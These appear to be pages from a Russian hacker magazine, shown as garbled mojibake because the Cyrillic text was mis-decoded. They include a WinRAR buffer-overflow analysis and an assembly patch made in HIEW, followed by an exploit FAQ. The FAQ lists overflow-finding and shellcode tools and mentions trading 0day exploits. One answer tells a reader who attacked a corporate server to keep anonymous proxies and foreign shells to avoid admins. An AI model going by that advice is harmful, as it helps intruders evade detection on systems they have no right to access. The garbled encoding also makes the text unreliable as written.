WinRAR â Soft-Ice, ñòàâèì è âðåìåííî
îòêëþ÷àåì áðåéêïîèíò:

:bpx 00453D20
:bd *

WinRAR çàãðóçèëñÿ, ïîäâîäèì êóð-
ñîð ê 29A.RAR, âêëþ÷àåì áðåéêïîèíò.

Îòêðûâàåì àðõèâ. Ïðè êàæäîì âñïëû-
âàíèè Soft-Ice ñìîòðèì íà ñòåê è çàïî-
ìèíàåì àäðåñ, îòêóäà ïðèøåë âûçîâ.
Ïîñëå òðèíàäöàòîãî âñïëûâàíèÿ Soft-
Ice ïðîèñõîäèò àâàðèéíîå çàâåðøå-
íèå. Àäðåñ âûçîâà 0x00453CEA.
Îïÿòü èäåì â IDA. Âèäèì ïðîöåäóðó:

71
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.text:00473648 sub_473648 proc near

.text:00473648 arg_0 = dword ptr  8;

.text:00473648 arg_4 = dword ptr  0Ch;

.text:00473648
; ñòðîèì ñòåêîâûé ôðåéì è ñîõðàíÿåì ðåãèñòðû ===
.text:00473648 push ebp
.text:00473649 mov ebp, esp
.text:0047364B push esi
.text:0047364C push edi
; ñîáñòâåííî, ðàáîòà ïðîöåäóðû ===
.text:0047364D mov edi, [ebp+arg_4]
.text:00473650 mov esi, edi
.text:00473652 mov ecx, 0FFFFFFFFh
.text:00473657 xor al, al
.text:00473659 cld
.text:0047365A repne scasb
.text:0047365C not ecx
.text:0047365E mov edi, [ebp+arg_0]
.text:00473661 mov eax, edi
.text:00473663 mov edx, ecx
.text:00473665 shr ecx, 1
.text:00473667 shr ecx, 1
.text:00473669 cld
.text:0047366A repe movsd
.text:0047366C mov ecx, edx
.text:0047366E and ecx, 3
.text:00473671 repe movsb
; âîññòàíàâëèâàåì ðåãèñòðû ======
.text:00473673 pop edi
.text:00473674 pop esi
.text:00473675 pop ebp
.text:00473676 retn; âûõîä
.text:00473676 sub_473648 endp

ÄÈÇÀÑÑÅÌÁËÈÐÎÂÀÍÍÛÉ ÐÀÐ

IDA äóìàåò... :-)

Ýòî ñòîèò ïðîâåðèòü íà îòëàäêå



Ñïåöèàëüíî
äëÿ ëþáèòå-
ëåé îïòèìè-
çàöèè: êîä
ïàò÷à ìîæ-
íî óìåíü-
øèòü, ïî
êðàéíåé ìå-
ðå, íà 5
áàéò, åñëè
ïî àäðåñó
0x00453CE
5 çàìåíèòü
jmp íà call.
Êàê? Ïîï-
ðîáóé ðà-
çîáðàòüñÿ
ñàìîñòîÿ-
òåëüíî :-).

.text:00453CD6 var_104 = dword ptr -104h

.text:00453CD6 SubKey  = byte ptr -100h

.text:00453CD6

.text:00453CD6 push ebx

.text:00453CD7 add esp, -104h; <-- ðåçåðâè-
ðóåì áóôåð (260 áàéò!)
.text:00453CDD mov ebx, eax
.text:00453CDF lea ecx, [esp+104h+SubKey]
.text:00453CE3 mov eax, ebx
.text:00453CE5 call sub_453D20; <-- êîïèðî-
âàíèå ñòðîêè
.text:00453CEA push esp
......
.text:00453D05 add esp, 104h
.text:00453D0B pop ebx
.text:00453D0C retn; <-- óïðàâëåíèå 
îòäàåòñÿ íà 0048671A

Çàãðóçèì WinRAR â Soft-Ice, ïîñòà-
âèì è îòêëþ÷èì áðåéêïîèíò íà
00453CD6, ýòî íà÷àëî ïðîöåäóðû. Ïå-
ðåä îòêðûòèåì 29A.RAR âêëþ÷èì
áðåéêïîèíò. Ïðè ïåðâîì ñðàáàòûâà-
íèè òðàññèðóåì êîä äî 0x00453CDD,
çàïîìèíàåì àäðåñ âûäåëåííîãî áó-
ôåðà è ñíèìàåì áðåéêïîèíò. Ïîòîì
ñòàâèì áðåéêïîèíò íà 0x00453CEA.
Îí áóäåò ñðàáàòûâàòü êàæäûé ðàç,
ñðàçó ïîñëå òîãî êàê èíñòðóêöèÿ ïî
àäðåñó 0x00453CE5 âûçâàëà ïðîöå-
äóðó êîïèðîâàíèÿ ñòðîêè. Ñìîòðèì,
÷òî ñêîïèðîâàëîñü â áóôåð. Â êîíöå
êîíöîâ â áóôåðå îêàçûâàåòñÿ íàøå
äëèííîå ðàñøèðåíèå ;-). Íàæèìàÿ F10,
òðàññèðóåì ïðîöåäóðó äî àäðåñà
0x00453D0C è îñòàíàâëèâàåìñÿ.
Ñìîòðèì esp. Îí óêàçûâàåò íà äâîé-
íîå ñëîâî 0x0048671A. Âîò ìû è íàø-
ëè óÿçâèìîñòü.

ÇÀÒÛÊÀÅÌ ÄÛÐÓ
Âïèøåì â winrar.exe íåáîëüøîé

êîä, íà êîòîðûé áóäåò ïåðåäàâàòüñÿ
óïðàâëåíèå ñ àäðåñà 0x00453CE5.
Ýòîò êîä áóäåò ïðîâåðÿòü äëèíó ñòðî-
êè ïåðåä ïîìåùåíèåì åå â óÿçâèìûé
áóôåð. Åñëè ïðîâåðêà äëèíû ïðîéäåò
óñïåøíî, óïðàâëåíèå ïåðåéäåò ïðÿìî
íà ôóíêöèþ ïî àäðåñó 0x00453D20.
Åñëè æå êîä îáíàðóæèò, ÷òî ñòðîêà
ñëèøêîì äëèííàÿ, îí ñïåðâà "îáðå-
æåò" åå, çàïèñàâ ïî ñìåùåíèþ 259 îò
íà÷àëà íóëåâîé áàéò, à óæå ïîòîì
ñäåëàåò jmp 00453D20h. Â òåîðèè âñå
î÷åíü êðàñèâî. Íî íà ïðàêòèêå íàì
ïðåäâàðèòåëüíî íóæíî ðåøèòü äâå
çàäà÷è. Ïåðâàÿ: êàê êîä ïîëó÷èò óêà-
çàòåëü íà ñòðîêó, êîòîðóþ íóæíî ïðî-
âåðèòü. Âòîðàÿ: êóäà åãî âïèñàòü. Ëåã-
êî ñêàçàòü "âïèñàòü êîä", à êóäà? Èñ-
õîäíèêîâ-òî íåòó. Ïåðâàÿ ïðîáëåìà
ðåøàåòñÿ ñ ïîìîùüþ îòëàä÷èêà. Çàã-
ðóçèì winrar.exe â Soft-Ice, ïîñòàâèì
áðåéêïîèíò íà àäðåñ 0x00453CE5.

......
001B:00453CE3 | MOV EAX, EBX
001B:00453CE5 | CALL 00453D20 
001B:00453CEA | PUSH ESP
......

Ïîïûòàåìñÿ îòêðûòü 29A.RAR -
âñïëûâåò îòëàäêà. Ïîñìîòðèì, êóäà

óêàçûâàþò ðåãèñòðû. Èñêîìàÿ ñòðîêà
î÷åíü áûñòðî íàõîäèòñÿ ïî àäðåñó â
edx. Âòîðàÿ ïðîáëåìà - êóäà äåòü êîä -
òàêæå íå î÷åíü ñëîæíà. Âïèøåì åãî â
header EXE-ôàéëà. Ñíà÷àëà íóæíî
íàéòè ñâîáîäíîå ìåñòî. Çàãðóæàåì
winrar.exe â HIEW. Æìåì F4, âûáèðàåì
ðåæèì îòîáðàæåíèÿ HEX. Ñìîòðèì, ïî
êàêîìó ñìåùåíèþ îò
íà÷àëà ôàéëà ëåæèò
çàãîëîâîê PE: æìåì
F5, íàáèðàåì "3C". Ïî
ñìåùåíèþ 0x3C âèäèì
ñìåùåíèå çàãîëîâêà
PE: 00 02 00 00 (äâîé-
íîå ñëîâî 0x200 íà-
âûâîðîò). Ïðîâåðÿåì:
æìåì F5, íàáèðàåì
"200". Òî÷íî, PE-ñèã-
íàòóðêà íà ìåñòå ;-). Òà-
êèì îáðàçîì, ïîä DOS
stub âûäåëåíû ïåðâûå
512 áàéò winrar.exe.
Ïðè÷åì â HIEW âèäíî,
÷òî âòîðàÿ ïîëîâèíà
ýòîãî ïðîñòðàíñòâà íè-
êàê íå èñïîëüçóåòñÿ -
ñïëîøíûå íóëåâûå
áàéòû. ×òî æ, äëÿ ïðîã-
ðàììèñòà íà àññåìáëå-
ðå 256 áàéò - ýòî íåìà-
ëî! Èòàê, ìû íàøëè ìåñòî, â êîòîðîå
ìîæíî âïèñàòü êîä, ïðîâåðÿþùèé äëè-
íó ñòðîêè. Òåïåðü äåëî çà ñàìèì êîäîì.
Îí ìîæåò áûòü, íàïðèìåð, òàêèì:

; ñîõðàíÿåì â ñòåêå ðåãèñòðû è ôëàãè
pushad
pushfd

; íàõîäèì äëèíó ñòðîêè, àäðåñ êîòîðîé íà-
õîäèòñÿ â edx

mov ecx,-1
mov edi,edx
xor al,al
cld
repne scasb
not ecx

; ñðàâíèâàåì íàéäåííóþ äëèíó ñòðîêè ñ 259 
cmp ecx, 103h
jle @@1

; åñëè ñòðîêà â edx äëèííåå 259, îáðåçàåì åå
mov byte ptr[edx+103h],0

; âîññòàíàâëèâàåì ðåãèñòðû
@@1: popfd

popad
; âûõîäèì, îòäàåì óïðàâëåíèå ïðîöåäóðå
êîïèðîâàíèÿ ñòðîê 

push 00453CEAh
jmp  00453D20h

Íè÷åãî îðèãèíàëüíîãî. Åäèíñòâåí-
íûé ïðèíöèïèàëüíûé ìîìåíò ñîñòîèò
â òîì, ÷òî ïåðåä jmp 00453D20h íóæ-
íî ïîëîæèòü íà ñòåê àäðåñ âîçâðàòà.
Òîãäà ïðîöåäóðà ïî àäðåñó
0x00453D20 áóäåò ñ÷èòàòü, ÷òî óï-
ðàâëåíèå íà íåå ïåðåäàëè c àäðåñà
0x00453CE5 èíñòðóêöèåé call. Âíåñåì
ýòîò êîä â çàãîëîâîê winrar.exe ïî
ñìåùåíèþ 0x100. Âîñïîëüçóåìñÿ
âñòðîåííûì â HIEW àññåìáëåðîì. Äëÿ
ýòîãî æìåì F4, âûáèðàåì Decode. Ïî-
òîì æìåì Ctrl+F1 - óñòàíàâëèâàåòñÿ
32-áèòíûé ðåæèì äèçàññåìáëèðîâà-

íèÿ. Ïåðåõîäèì íà 0x100 ñ ïîìîùüþ
F5. Æìåì F3 - âêëþ÷àåòñÿ ðåæèì ðå-
äàêòèðîâàíèÿ. Òåïåðü ìû ìîæåì âïè-
ñàòü ñâîé êîä, íàæàâ F2. Ñèíòàêñèñ
âñòðîåííîãî â HIEW àññåìáëåðà íåì-
íîãî ñïåöèôè÷íûé, îñîáåííî â îòîá-
ðàæåíèè àäðåñîâ ïåðåõîäîâ. Ïîýòîìó
íàø êîä áóäåò âûãëÿäåòü òàê:

Òåïåðü îñòàåòñÿ òîëüêî èçìåíèòü
âûçîâ ïî àäðåñó 0x00453CE5, ÷òîáû
îí óêàçûâàë íà íàø êîä:

.00453CE3: 8BC3 mov eax,ebx

.00453CE5: E916C4FAFF jmp .000453100

.00453CEA: 54 push esp

Âñå. Çàïóñêàåì winrar.exe, îòêðûâà-
åì 29A.RAR.

Íèêàêîãî àâàðèéíîãî çàâåðøåíèÿ, õî-
òÿ àðõèâ îòîáðàæàåòñÿ ïóñòûì (îíî è

íåóäèâèòåëü-
íî, âåäü âíóò-
ðè îí ñîäåð-
æèò îøèáêè,
èç-çà êîòîðûõ
ñîáñòâåííî è
ïðîèñõîäèëî
ïåðåïîëíå-
íèå).

À êàê íàñ-
÷åò äðóãèõ
ôàéëîâ?

Ñîâåòóþ òåáå ïîòåñòèðîâàòü ïðî-
ïàò÷åííûé àðõèâàòîð: ñîçäàé äå-
ñÿòîê-äðóãîé àðõèâîâ, ðàñïàêóé
÷òî-òî, ñäåëàé SFX. Óáåäèñü, ÷òî
âñå â ïîðÿäêå è ïàò÷ "ïðèæèëñÿ"
õîðîøî ;-). ß òåñòèðîâàë ñâîé ïðî-
ïàò÷åííûé WinRAR îêîëî ÷àñà -
íè îäíîãî ãëþêà. Êñòàòè, èíñòàë-
ëÿöèþ WinRAR 3.0 rus âìåñòå ñ
ïðîïàò÷åííûì winrar.exe òû ìî-
æåøü íàéòè íà äèñêå. Íó âîò, òå-
ïåðü ó òåáÿ åñòü íåêîòîðûé îïûò
çàêðûòèÿ äûð â ÷óæèõ ïðîãàõ. Êàê
âèäèøü, âñå îêàçàëîñü íå òàê-òî
ñëîæíî - ïðîñòî íóæíî çíàíèå àñ-
ñåìáëåðà è ìíîãî òåðïåíèÿ. Äó-
ìàþ, è òî è äðóãîå ó òåáÿ åñòü, òàê
÷òî îñîáûõ òðóäíîñòåé íå áóäåò.
Óäà÷íûõ ïàò÷åé! :-) E
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Êîïèðîâà-
íèå äâîéíû-
ìè ñëîâàìè
ïðîèñõîäèò
íàìíîãî
áûñòðåå êî-
ïèðîâàíèÿ
ïî áàéòó.

Ê ñîæàëå-
íèþ, óíè-
âåðñàëüíîãî
ñïîñîáà çà-
òûêàíèÿ
óÿçâèìîñ-
òåé íåò.

ÇÀÙÈÒÈÑÜ È ÇÀÌÅÒÈ!72 ÐÅÀËÈÇÀÖÈß

00000100: 60 pushad
00000101: 9C  pushfd
00000102: B9FFFFFFFF mov ecx,0FFFFFFFF
00000107: 8BFA mov edi,edx
00000109: 32C0 xor al,al
0000010B: FC cld
0000010C: F2AE repne scasb
0000010E: F7D1 not ecx
00000110: 81F903010000 cmp ecx,000000103
00000116: 7E07 jle 00000011F
00000118: C6820301000000 mov b,[edx][000000103],000
0000011F: 9D popfd
00000120: 61 popad
00000121: 68EA3C4500 push 000453CEA
00000126: E9F53B0500 jmp .000454720

ÊÎÄ ÏÀ×ÒÀ Ê WINRAR Â HIEW

WinRAR áîëüøå íå
ñòðàäàåò ïåðåïîëíå-
íèåì áóôåðà ;-)



TWEAKING &
OVERCLOCKING
Ðàçãîí, îïòèìèçàöèÿ 
è ðåìîíò êîìïà

×èòàé â ñëåäóþùåì íîìåðå Cïåöà:

Áîðüáà ñ çàòîðàìè
Äîëîé ïåðåìû÷êè
Îïòèìèçàöèÿ *nix
Êàñòîìàéçèíã èêñîâ
Ðóêîâîäñòâî ïî ðàçãîíó ïðîöåññîðà
Îõëàæäåíèå, äàò÷èêè
SCSI vs Serial ATA
Àïãðåéä çâóêîâóõè è âèäåîêàðòû âðó÷íóþ
Ñîôòîâûå êóëåðû
Äèàãíîñòèêà ñèñòåìû
Òàêòèêà îáñëåäîâàíèÿ áîëüíîãî êîìïà
Ðåìîíò áëîêà ïèòàíèÿ, ìîíèòîðà, âèíòà, CD/DVD-ïðèâîäà
Âîññòàíîâëåíèå äàííûõ

À òàêæå:
KX-äðàéâåðû, äîðàáîòêà àêóñòèêè, òåñòåðû è, êàê âñåãäà, ìíîãî

äðóãîé ïîëåçíîé èíôîðìàöèè!

ÑÊÎÐÎ Â ÑÏÅÖÅ:

Íåïðåñòóïíûé *nix 
Òàê ëè óæ íåïðèñòóïåí *nix, êàê åãî ìàëþþò? Óÿçâèìîñòè âî âñåõ
ïîïóëÿðíûõ ñåðâèñàõ, ÿäðàõ è äèñòðèáóòèâàõ. Òèïè÷íûå àòàêè.
Ðóòêèòû. Unix ñ òî÷êè çðåíèÿ õàêåðà. Linux-âèðóñû è ÷åðâè.
Çàùèòà.

Àòàêà íà Windows
Íàñêîëüêî äûðÿâû Âèíäû íà ñàìîì äåëå? Óÿçâèìîñòè ñîôòå îò MS
è äðóãèõ ïðîèçâîäèòåëåé, ýêñïëîèòû. Áýêäîðû, òðîÿíû, âèðóñû è
÷åðâè. Çàùèòà äëÿ þçåðà è àäìèíà.
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ÂÎÏÐÎÑÛ
ÕÀÊÅÐÀ

ß õî÷ó íàïèñàòü
ýêñïëîèò, íî ïîêà íå

íàøåë óÿçâèìîñòü â ïðîã-
ðàììå. Êàê ìíå åå ïîñêî-
ðåå îòûñêàòü?

Âñå çàâèñèò îò çíàíèé
è îïûòà. Íàéòè áàæíóþ
ôóíêöèþ � ìàëî, íàäî
óìåòü ãðàìîòíî âûç-
âàòü ïåðåïîëíåíèå è
çàïóñòèòü shell-êîä. Åñ-
ëè òû åùå íå íàáèë â
ýòîì ðóêó, èñïîëüçóé
óòèëèòû äëÿ ëîêàëüíî-
ãî ïîèñêà ïåðåïîëíå-
íèé, íàïðèìåð, PScan
(http://packetstormsecurity.or
g/UNIX/misc/pscan-1.2.tar.gz).

Êîâûðÿþñü â ýêñïëîè-
òå äëÿ ïåðåïîëíåíèÿ

áóôåðà â CVS. Íî gcc ïðè
êîìïèëÿöèè ïèøåò êàêóþ-
òî ôèãíþ � ãîâîðèò îá
îøèáêàõ â ôóíêöèÿõ
zflush, zgetch è start_gzip.
Êàê åãî ñêîìïèëèòü?

Ýòîìó ýêñïëîèòó òðåáó-
åòñÿ ïîääåðæêà zlib,
òàê êàê îí ðàáîòàåò ñ
ìåõàíèçìàìè êîìïðåñ-
ñèè. Èñïîëüçóé ïàðà-
ìåòð �lz, è âñå ïðåêðàñ-
íî ñêîìïèëèòñÿ.

Îáëàçèë âåñü èíåò, íî
òàê è íå íàøåë íóæ-

íîé ïðîãðàììû äëÿ ïîèñêà
áàãîâ â Linux-áèíàðíèêàõ.
Òàêèå ïðîãðàììû âîîáùå
ñóùåñòâóþò?

Ñóùåñòâóþò. Äîáðûå
õàêåðû ïîäàðèëè ïðåê-
ðàñíûå òóëçû äëÿ îá-
íàðóæåíèÿ ïåðåïîëíå-
íèé. Îäíà èç íèõ � îíà
îñîáåííî ìåíÿ ïîðàäî-
âàëà � âûïîëíåíà â âè-
äå sh-ñêðèïòà è íàçû-
âàåòñÿ initd_.sh
(http://packetstormsecurity.or
g/UNIX/misc/initd_.tar.gz).
Ïîäáèðàÿ ïàðàìåòð ê
óêàçàííîìó áèíàðíèêó,
ñêðèïò íàñòîé÷èâî ïû-
òàåòñÿ ïåðåïîëíèòü â
íåì áóôåð. Ïîñëå
äâàäöàòèìèíóòíûõ èãð
ñ ýêñïëîèòîì äëÿ
mod_ssl ÿ íàøåë â íåì
ïåðåïîëíåíèå. À âàì
ñëàáî? :)

Ãîâîðÿò, ìîæíî çàðà-
áîòàòü íà ýêñïëîèòàõ.

Åñëè íå ñåêðåò, êàê è
ñêîëüêî?

Ñêîëüêî ïîïðîñèøü :).
Ìîæíî òðýéäèòü ñâîèì
0day-ýêñïëîèòîì íà
IRC. Íî, åñëè íå áî-
èøüñÿ ðèïïåðîâ, åñòü
ñïîñîá ëó÷øå ñêîëî-
òèòü ñîñòîÿíèå. Íèêòî
íå çàïðåùàåò îòïèñàòü
ëèäåðàì êðóïíûõ secu-
rity-êîìàíä è ïîïðî-
ñèòü ýííóþ ñóììó òóõ-
ëûõ ïðåçèäåíòîâ çà
èçúÿí. Åñëè èìåë ìåñòî
ðåàëüíûé áàã, òåáå íå
òîëüêî çàïëàòÿò, íî è
íà ðàáîòó âîçüìóò.
Ïðîâåðåíî.

Â êàêîì ñîôòå ëó÷øå
èñêàòü ïåðåïîëíåíèÿ?

Åñëè òû õî÷åøü ïîòðå-
íèðîâàòüñÿ â ïîèñêå
óÿçâèìûõ ôóíêöèé è
ïåðåìåííûõ, ñîâåòóþ
âçÿòü êàêîé-íèáóäü
ñòàðåíüêèé èñõîäíèê,
íàïðèìåð, ñûðåö ìíî-
ãîñòðàäàëüíîãî wu-
ftpd. Ïðîëèñòàé ñûðåö
ïî äèàãîíàëè, íàéäè
óÿçâèìûé êóñîê êîäà,
ïðèëîæè óòèëèòû äëÿ
ïîèñêà îâåðëîàäà è...
ñðàâíè ñâîé ðåçóëüòàò
ñ îïóáëèêîâàííûì â
áàãòðàêå. Ðåçóëüòàò
ñîâïàë? Ñïåøó òåáÿ
ïîçäðàâèòü: òû íàñòîÿ-
ùèé áàãîèñêàòåëü. Åñ-
ëè æå òâîÿ çàäà÷à �
áûòü ïåðâîïðîõîäöåì è
íàéòè óÿçâèìîñòü â ïî-
ïóëÿðíîì ñîôòå, áåðè
÷òî-íèáóäü þçàåìîå è
áàæíîå îäíîâðåìåííî,
íàïðèìåð, èñõîäíèêè
Proftpd èëè Named. Áà-
ãè åñòü âåçäå, ãëàâíîå �
ñóìåòü èõ íàéòè.

ß íàøåë áàã â ïðèëî-
æåíèè è íàïèñàë

ýêñïëîèò. Âñå â øîêîëàäå,
íî ìíå õî÷åòñÿ çàðåëèçèòü
ñïëîèò è óÿçâèìîñòü. Ñòî-
èò ëè ýòî äåëàòü?

Â ïðèíöèïå, ýêñïëîèò
òâîé � òåáå è ðåøàòü,
÷òî ñ íèì äåëàòü :). Ìî-
æåøü ñðàçó íàïèñàòü
íà staff@packetstorm-
security.org ëèáî íà
vuln@security.nnov.ru,
íî íèêàêîé âûãîäû, à
òåì áîëåå äåíåã òû ñ
ðåëèçà íå ïîëó÷èøü.

»

SPECial delivery FAQ74

Ïðàâèëüíàÿ êîìïèëÿöèÿ

ýêñïëîèòà

74 FAQ

78 Èíñòðóìåíòû ìàñòåðà
Îáçîð ñîôòà äëÿ ñîçäàíèÿ
ýêñïëîèòîâ

82 Ïîëåçíàÿ áóìàãà
Îáçîð êíèã ïî ïðîãðàììèðîâàíèþ,
âçëîìó è çàùèòå

86 WEB
Âêóñíûå ññûëêè â èíòåðíåò

Content:
Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)
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Êàêèå ìåòîäèêè äëÿ
ïîèñêà ïåðåïîëíåíèé

íàèáîëåå ýôôåêòèâíû?

Ïðîôåññèîíàëû ðåêî-
ìåíäóþò àíàëèçèðî-
âàòü èñõîäíèê íà íàëè-
÷èå ôóíêöèé, íå ïðîâå-
ðÿþùèõ ãðàíèöû ïåðå-
äàííîãî áóôåðà. Ýòî
èçâåñòíûå strcpy(), str-
cat(), gets(), sprintf(),
scanf() è íåêîòîðûå
äðóãèå. Îñìàòðèâàé êîä
íà ïðåäìåò íàëè÷èÿ ïå-
ðåìåííûõ ñ ôèêñèðî-
âàííûì áóôåðîì. Èõ
âñåãäà ìîæíî ýêñïëóà-
òèðîâàòü. Òàêæå ñòîèò
îáðàùàòü âíèìàíèå íà
ôóíêöèè ôîðìàòèðî-
âàííîãî ââîäà. Ñ èõ ïî-
ìîùüþ ìîæíî ñäåëàòü
íåìàëî âñåãî èíòåðåñ-
íîãî (ïîäðîáíåå � â ìà-
òåðèàëàõ ýòîãî íîìåðà).

ß íàïèñàë shell-êîä,
íî ìåíÿ ñìóùàåò åãî

ðàçìåð. Êàê ìíå åãî
óìåíüøèòü?

Åñëè shell-êîä çàïóñêà-
åò /bin/sh, òî íå ñòîèò
èçîáðåòàòü âåëîñèïåä.
Âîçüìè óæå ãîòîâûé
êîä èç ñïèñêà ÷àñòî èñ-
ïîëüçóåìûõ
(http://www.securitylab.ru/too
ls/36713.html). Êîãäà çàäà-
÷à ñâîäèòñÿ ëèøü ê îï-
òèìèçàöèè ðàçìåðà, ðå-
êîìåíäóþ ñîáñòâåííóþ
API-ñðåäó äëÿ íàïèñà-
íèÿ óäîáíûõ shell-êî-
äîâ. Áåðè åå ïî àäðåñó
http://www.packetfactory.net/
projects/libexploit/LibExploitV
01a.tar.gz. Êñòàòè, ýòîé
óäîáíîé øòóêîâèíîé è
ýêñïëîèòû ìîæíî ïè-
ñàòü :). Åñëè æå òû íå
õî÷åøü öåëèêîì ïåðå-
ïèñûâàòü ñâîå äåòèùå,
òî òåáå ñòîèò âîñïîëü-
çîâàòüñÿ ñæàòèåì áèíà
êàêèì-íèáóäü ïðèìè-
òèâíûì ìåòîäîì. UPX â
shell-êîäå? Çâó÷èò êðà-
ñèâî.

Ðåàëüíî ëè íàéòè ïå-
ðåïîëíåíèå â ìîáèëü-

íèêå?

Ïåðåïîëíåíèÿ áóôåðà
â ìîáèëüíûõ òåëåôî-
íàõ åùå íå îáðåëè îñî-
áîé ïîïóëÿðíîñòè â ìè-
ðå õàêåðîâ, õîòÿ ìî-
áèëüíèê ïðåäñòàâëÿåò
ñîáîé êîíòðîëëåð ñ
ïðîøèâêîé. Åñëè òû
çíàåøü àññåìáëåð, êà-
÷àé íîâóþ âåðñèþ
ñîôòà äëÿ ñîòîâîãî
äðóãà, äèçàññåìáëèðóé
åãî è òðåíèðóéñÿ íà
ýìóëÿòîðàõ :). Óæå ñåé-
÷àñ íåêîòîðûå àïïàðà-
òû ìîæíî âûâåñòè èç
ñòðîÿ SMS ñ íåïîääåð-
æèâàåìûìè ñèìâîëàìè.

Êàêîé ñîôò äëÿ ïîèñ-
êà ïåðåïîëíåíèé ÿâ-

ëÿåòñÿ ëó÷øèì?

Èç ñïèñêà ïðîãðàìì,
àíàëèçèðóþùèõ ñîôò,
ìíå áîëüøå âñåãî ïîí-
ðàâèëàñü squirtv
(http://packetstormsecurity.or
g/UNIX/misc/squirtv1.2.tar.gz).
Ñîôòèíà íå òîëüêî
àíàëèçèðóåò èñõîäíèê
íà ïåðåìåííûå ñ ôèê-
ñèðîâàííûì áóôåðîì,
íî è óìååò äîáèâàòüñÿ
(ìåòîäîì æåñòêîãî
áðóòôîðñà) çàäàííîãî
àäðåñà âîçâðàòà è çàã-
ðóæàòü óêàçàííûé
shell-êîä. Ïðîãà íàïè-
ñàíà íà ïåðëå è, êàê
ñëåäñòâèå, ìîæåò ðàáî-
òàòü ïîä Windows. Â
êîìïëåêòå ñî ñêðèïòîì
èäåò ïîäðîáíûé ìàíó-
àë, ïðî÷èòàâ êîòîðûé,
òû óçíàåøü âñå âîç-
ìîæíîñòè squirtv.

Ó ìåíÿ çàäóìêà: õî÷ó
íàïèñàòü îðèãèíàëü-

íûé shell-êîä ê ñâîåìó
ýêñïëîèòó. ß îòëè÷íî çíàþ
Ñè, íî íå âëàäåþ àññåìá-
ëåðîì. ×òî ìíå äåëàòü?

Äëÿ òàêèõ ñëó÷àåâ ñó-
ùåñòâóåò ïðîãðàììà
shellforge (http://www.car-
tel-
securite.fr/pbiondi/python/she
llforge-0.1.15.tar.gz). Ïðèí-
öèï ðàáîòû ñ íåé î÷åíü
ïðîñò: òû ïèøåøü
shell-êîä ïîëíîñòüþ íà
Ñè è çàïóñêàåøü shell-
forge ñî ñâîèì èñõîä-
íèêîì â êà÷åñòâå ïàðà-
ìåòðà. Ïèòîøíûé ñöå-
íàðèé, íåìíîãî ïîäó-
ìàâ, âûïëþíåò òåáå ãî-
òîâûé shell-êîä.

ß òóò ñêà÷àë íåïëîõîé
ýêñïëîèò, ïåðåïîëíÿ-

þùèé áóôåð ó äåìîíà. Çà-
þçàë åãî íà êîðïîðàòèâíîì
ñåðâåðå, íî ðåçóëüòàò áûë
íóëåâîé. Ñìîãóò ëè àäìèíû
ïðåñå÷ü ìîþ íå ñîâñåì çà-
êîííóþ äåÿòåëüíîñòü?

Êîíå÷íî, ñìîãóò. Õîòÿ
ýòî çàâèñèò îò ñèòóà-
öèè. Âñå ïðèëîæåíèÿ
îñòàâëÿþò çàïèñè â ëî-
ãàõ ïðè âîçíèêíîâåíèè
íåñòàíäàðòíûõ ñèòóà-
öèé. Íàïðèìåð, ñòàðûé
äîáðûé x2 îò sshd èìåë
ïîáî÷íûé ýôôåêò: äå-
ìîí ñîðèë â æóðíàë
ñòðîêîé sshd[29182]:
fatal: Local: Corrupted
check bytes on input. 
Åñëè ñåðâèñ, êîòîðûé
òû àòàêîâàë, ðàáîòàåò
÷åðåç syslog, òî, ñêîðåå
âñåãî, áäèòåëüíûé àä-
ìèí óçíàåò î òâîèõ ïðî-
äåëêàõ. Íà ýòîò ñëó÷àé
âñåãäà èìåé íåñêîëüêî
àíîíèìíûõ ïðîêñèêîâ è
çàáóãîðíûõ shell�îâ :).

ÂÎÏÐÎÑÛ
ÏÐÎÃÐÀÌÌÈÑÒÀ

ß íèêîãäà íå âûêëà-
äûâàë èñõîäíèêè

ñâîåé ïîïóëÿðíîé ïðîã-
ðàììû. Âåëèêà ëè âåðîÿò-
íîñòü òîãî, ÷òî õàêåðû
íàéäóò áàãó â ìîåì ïðîåê-
òå è ïåðåïîëíÿò áóôåð?

Âåðîÿòíîñòü î÷åíü
áîëüøàÿ. Ñóùåñòâóþò
óòèëèòû, ïîçâîëÿþùèå
êîìïðîìåòèðîâàòü íà
ïåðåïîëíåíèå äàæå
áèíàðíûå ôàéëû. Åñëè
òâîÿ ñîôòèíà þçàåòñÿ
â êà÷åñòâå ïîëüçîâà-
òåëüñêîãî ïðèëîæåíèÿ,
ìîæåøü îñîáî íå âîë-
íîâàòüñÿ. Êîãäà æå
ïðîãà çàïóñêàåòñÿ ïîä
ðóòîì (àäìèíèñòðàòî-
ðîì) è òðåáóåò äîïîë-
íèòåëüíûõ ïðèâèëåãèé,
ñëåäóåò òùàòåëüíî
ïðîâåðÿòü ñîôò íà
âñåâîçìîæíûå ïåðå-
ïîëíåíèÿ.

Ïèøó ñîôò ïîä
MacOS. Âåñü èíåò ïå-

ðåðûë, íî òàê è íå ñìîã
íàéòè õîðîøèé îòëàä÷èê
äëÿ ìîèõ ïðîãðàìì. Ïîðå-
êîìåíäóéòå õîðîøèé äå-
áàããåð äëÿ ýòîé îïåðàöè-
îíêè.

Ïîñîâåòîâàâøèñü ñ
Apple-ïðîãðàììåðàìè è
ïîèñêàâ â èíåòå, ÿ ñäå-
ëàë âûáîð â ïîëüçó
ïðåêðàñíîãî äèçàññå-
ìáëåðà MacsBug. Çàã-
ëÿíè íà ñòðàíèöó
http://developer.apple.com/to
ols/debuggers/MacsBug è
óçíàåøü âñå îá ýòîì
÷óäåñíîì ïðèëîæåíèè. 

1. Âñåãäà òðåíèðóéñÿ íà íåñëîæíûõ èñõîäíèêàõ, ïóñòü äàæå áàã óñòàðåâøèé
è äàâíî èçâåñòíûé. Åñëè òû íàéäåøü ïåðåïîëíåíèå â ñûðöàõ êàêîãî-íèáóäü
wu-ftpd, áóäü óâåðåí � ó òåáÿ åñòü ñïîñîáíîñòè ê ïîèñêó óÿçâèìîñòåé â áîëåå
íîâûõ ïðîåêòàõ.
2. Çàãëÿäûâàé íà securitylab.ru è packetstormsecurity.nl. Òàì ÷àñòî ïîÿâëÿ-
þòñÿ íîâûå èíòåðåñíûå òóëçû äëÿ ïîèñêà ïåðåïîëíåíèé.
3. Íàøåë êðóïíûé áàã? Íå ñïåøè åãî ðåëèçèòü. Ïîìíè, ÷òî íàéäåííàÿ ñåðü-
åçíàÿ óÿçâèìîñòü ïîìîæåò òåáå çàðàáîòàòü èëè äàæå óñòðîèòüñÿ íà ïîñòîÿí-
íóþ ðàáîòó.

ÑÎÂÅÒÛ ÕÀÊÅÐÓ

